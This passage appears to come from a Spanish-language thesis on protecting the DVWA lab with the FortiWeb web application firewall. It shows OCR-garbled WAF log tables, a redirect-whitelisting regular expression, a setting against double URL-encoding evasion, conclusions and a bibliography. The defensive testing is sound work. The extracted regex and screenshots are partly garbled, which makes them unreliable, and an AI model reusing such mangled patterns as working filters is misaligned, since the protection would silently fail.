Buse		WA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/login			
IP Protection	~	WA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/login			
Tracking	>	WA	192.168.1.2	20.20.20.5	HKCD -	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/login			
Auto Learn	>	WA	192.168.1.2	20.20.20.5	-	Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/login			=
Web Vulnerability Scan	>	WA	192.168.1.2	20.20.20.5		Redirect	Start Page Violation	192.168.1.1	/dvwa/vulnerabilit	ies/xss	_s/	-
HI Log& Penort	~	WA	192.168.1.2	20.20.20.5		Alert_Deny	URL Access rule (Access_DVWA) violation	192.168.1.1	/dvwa/setup			
mi cogorreport		WA	192.168.1.2	20.20.20.5	##C00	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/vulnerabilit	ies/xss	_s/	
Log Access	~	WA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/vulnerabilit	ies/xss	_s/	
Attack		WA	192.168.1.2	20.20.20.5	88.233	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/vulnerabilit	ies/xss	_s/	
Event		WA	192.168.1.2	20.20.20.5	-	Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/vulnerabilit	ies/xss	_s/	
Traffic		WA	192.168.1.2	20.20.20.5	-	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/instruction	s		
Developed		WA	192.168.1.2	20.20.20.5		Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/instruction	s		
Download		WA	192.168.1.2	20.20.20.5	100000	Alert_Deny	Page Access Rule Violation	192.168.1.1	/dvwa/index.php			
Report	>	WA	192.168.1.2	20.20.20.5	-	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/login			
Log Policy	>	WA	192.168.1.2	20.20.20.5	-	Erase	HTTP Header triggered custom signature rule Custom_signature_dvwa	192.168.1.1	/dvwa/login			
Log Config	>	ΝA	192.168.1.2	20.20.20.5	Real Distance	Erase	HTTP Header triggered signature ID 080200004 of Signatures policy DVWA_Signatures	192.168.1.1	/dvwa/login			~
C Monitor	>	~ <	1									>
Q							≪ < 1 /82 > ≫ [Total:8153]					
📲 🙆 🚞	6		<b>9</b>		di B				- 10 🔁	<b>R</b> 2	3:00 5/04/2	019

Figura 128. Logs generado por regla de validación

Fortiweb cuenta con diversos tipos de datos ya definido, pero revisaremos los URI que coincide con cualquier URI válido, no solo redirige al mismo sitio. Por lo tanto, aún permitiría redirecciones a otro sitio, potencialmente malicioso. Además, este tipo de datos también podría bloquear los redireccionamientos legítimos del mismo sitio.

Finalmente, esta expresión regular combina las URL como las escribirías en un navegador, no las que tienen codificación URL. (La codificación URL traduce algunos caracteres que no están permitidos en una URL, como espacios, en codificaciones de entidad, como **'% 20'**. De manera predeterminada, FortiWeb solo decodifica 1 capa de codificación URL).

Para bloquear los redireccionamientos a otro sitio potencialmente malicioso o para hacer coincidir las entradas con codificación URL que no se han decodificado por completo, personalizamos el tipo de datos y establecemos una configuración avanzada.



En este ejemplo vemos cómo se modifica la expresión para que coincida solo con el tipo de datos aceptable para la entrada de redireccionamiento, lo que se busca son coincidencias y solo permitir redirecciones a **example.com**, **www.example.com** o **ftp.example.com**.

10.0.1.7/waf/pcre_expression/validate?redir=/success&mkey=0	2
Regular Expression Validator	
Regular Expression (maximum 2071 characters) ^(http https tp)(\:\%3A)(\/ \%2F)(\/ \%2F)) (wnw\.ftp\.])example\.com?(\/ \%2F)?([a-zA-20-9\-\\? \'/\\+&%\\$#\=~])*\$ Right Test http:%3A):2F%2Fexample.com%2Findex%3Fuser%3Dadmin%26pass wd%3Dpassword1	
Validate	
OK Cancel	

Figura 129. Regla de expresión para url del sistema

Para evitar que los atacantes evadan la detección codificando la URL dos o más veces, alternativamente, puede habilitar la opción para deshacerlo. Esta es una configuración global, por lo que puede afectar el rendimiento de escanear cada entrada, en cada política.

🛟 FortiWeb - FortiWeb	Х	+							-	٥	Х
$\overleftarrow{\bullet}$ > C $\widehat{\bullet}$		(i) 192.168.1.1:1044/ir	ndex			80%	••• 🛛 1	☆ II	\ 🔺		Ξ
FortiWeb-VM FortiV	Veb								?	>_	[>
SNMP	^ A	dvanced									
Replacement Message Advanced	s	hared IP Detects source IP addresses that a	C								
FortiGate Integration FortiGuard FortiSandbox	N	Naximum Body Cache Size imits the maximum size for body c	64 ompression, decompression, rewriting a	KB nd XML detection. Inc	creasing the body cach	ne may decrease per	formance.				
WCCP Client Device Tracking	N	Maximum DLP Cache Size	40% (26KB)	100 Max Body Cache Size	e (This huffer must he	less than Maximum	Rody Cache S	ize.)Increasing the size may	lecrease	• nerfori	mance
Feature Visibility		ne maximum size scannea by DEL		nax. Douy cache 5120	e. (mis bunci muse be	icss than riaximum	body caulo s	ize. / mer casing the size may e	icci casi	, periori	nance.
Certificates >	- F	lecursive URL Decoding frequest URLs are encoded multip	It is no long to the times, decodes until the URL is no long	ger encoded. May dec	crease performance.						
Maintenance	E	dvanced Decoding nable to perform Base64 and CSS	O decoding based on the configurable rule.	s below.							
Policy					Apply						

Figura 130. Activando la decodificación de url



# **17. Conclusiones**

En el presente trabajo después de realizar diversos ataques maliciosos contra nuestro sistema web vulnerable, confirmamos como FortiWeb nos brindó seguridad de manera eficiente, además puede reducir de forma muy significativa los costes de despliegue e implementación de las políticas de seguridad a través de la consolidación de las funcionalidades de Firewall de Aplicaciones, Firewall XML, aceleración del tráfico web y balanceo del tráfico de las aplicaciones en un solo dispositivo, que además no se licencia por número de usuarios o servidores. Reduce por tanto drásticamente el tiempo necesario para realizar el análisis, diseño e implementación de una política de protección completa y eficaz de los recursos y aplicaciones web de cualquier organización o empresa.

Mediante el uso de avanzadas técnicas para ofrecer protección bidireccional contra ataques complejos y sofisticados como por ejemplo "SQL Injection" y "Cross-site scripting", las plataformas FortiWeb ayudan a prevenir robos de identidad, fraudes económicos y espionaje corporativo. Los dispositivos FortiWeb proporcionan la tecnología imprescindible para monitorizar y aplicar las distintas normativas regulatorias, tanto gubernamentales como de iniciativa privada, asegurar la implantación de las prácticas de seguridad recomendadas y las adecuadas políticas internas.

Ya sea que se trate de sencillamente cumplir con los estándares o de proteger las aplicaciones críticas, los Web Application Firewall de FortiWeb proporcionan características avanzadas para defender las aplicaciones web de amenazas conocidas y de día cero. Al utilizar un enfoque multicapa avanzado y correlacionado, FortiWeb proporciona seguridad completa para sus aplicaciones externas e internas basadas en la web frente a las amenazas del OWASP Top 10 y muchas otras. En el núcleo de FortiWeb se encuentran sus motores de detección basados en auto aprendizaje de doble capa que detectan amenazas de manera inteligente sin casi ninguna detección de falsos positivos.



# 18. Bibliografía

# 18.1 Específica

- [1] Fortiweb 5.6 material de estudio de Certificación, 2018.
- [2] Fortiweb 6.1 material de estudio de Certificación, 2019.
- [3] Enrique Rando, Amador Aparicio, Pablo Gonzáles, Ricardo Martín, Chema Alonso, Hacking web Technologies, 2016.
- [4] Ron Lepofsky, The manager's guide to web application security, 2014.
- [5] Joel Scambray, Web application security secrets and solutions third edition, 2010.
- [6] Chris Mcnab, Network security assessment, 2016.
- [7] Paco Hope, Ben Walther, Web security testing cookbook, 2008.
- [8] Victor Marak, Windows malware analysis essentials, 2015.
- [9] Monika Agarwal, Abhinav Singh, Metasploit penetration testing cookbook second edition, 2013.
- [10] Monika Agarwal, Abhinav Singh, Metasploit penetration testing cookbook second edition, 2013.
- [11] Cisco ccna security versión 2.0, 2018.
- [12] Andrew Lockhart, Network security hacks second edition, 2006.
- [13] Patrick Engebretson, The basics of hacking and penetration testing, 2011.
- [14] William Stallings, Cryptography and network security fourth edition, 2005.
- [15] Evan Gilman, Doug Barth, Zero trust networks first edition, 2017.
- [16] Teri Bidwell, Michael Cross, Ryan Russell, Hack proofing your identity in the information age, 2002.
- [17] Jeremiah Grossman, Robert Hansen, Anton Rager, Seth Fogie, D. Petkov, XSS Attacks, 2007.
- [18] Stephen Lax, Access denied in the information age, 2001.
- [19] Craig A. Schiller, Jim Binkley, David Harley, Gadi Evron, Tony Bradley, Tony Bradley, Carsten Willems, Michael Cross, Botnet the killer web app, 2007.
- [20] Dennis Hansen, Social Vulnerability and Assessment Framework, 2017.

[21] Jay Kreps, I heart logs, 2014.